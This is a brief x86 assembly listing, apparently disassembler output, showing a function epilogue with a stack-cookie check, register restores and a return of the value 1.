push edi
call fcn.0040e5e4
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
mov al, 1
pop ebx
call fcn.0040d33f
mov esp, ebp
pop ebp
ret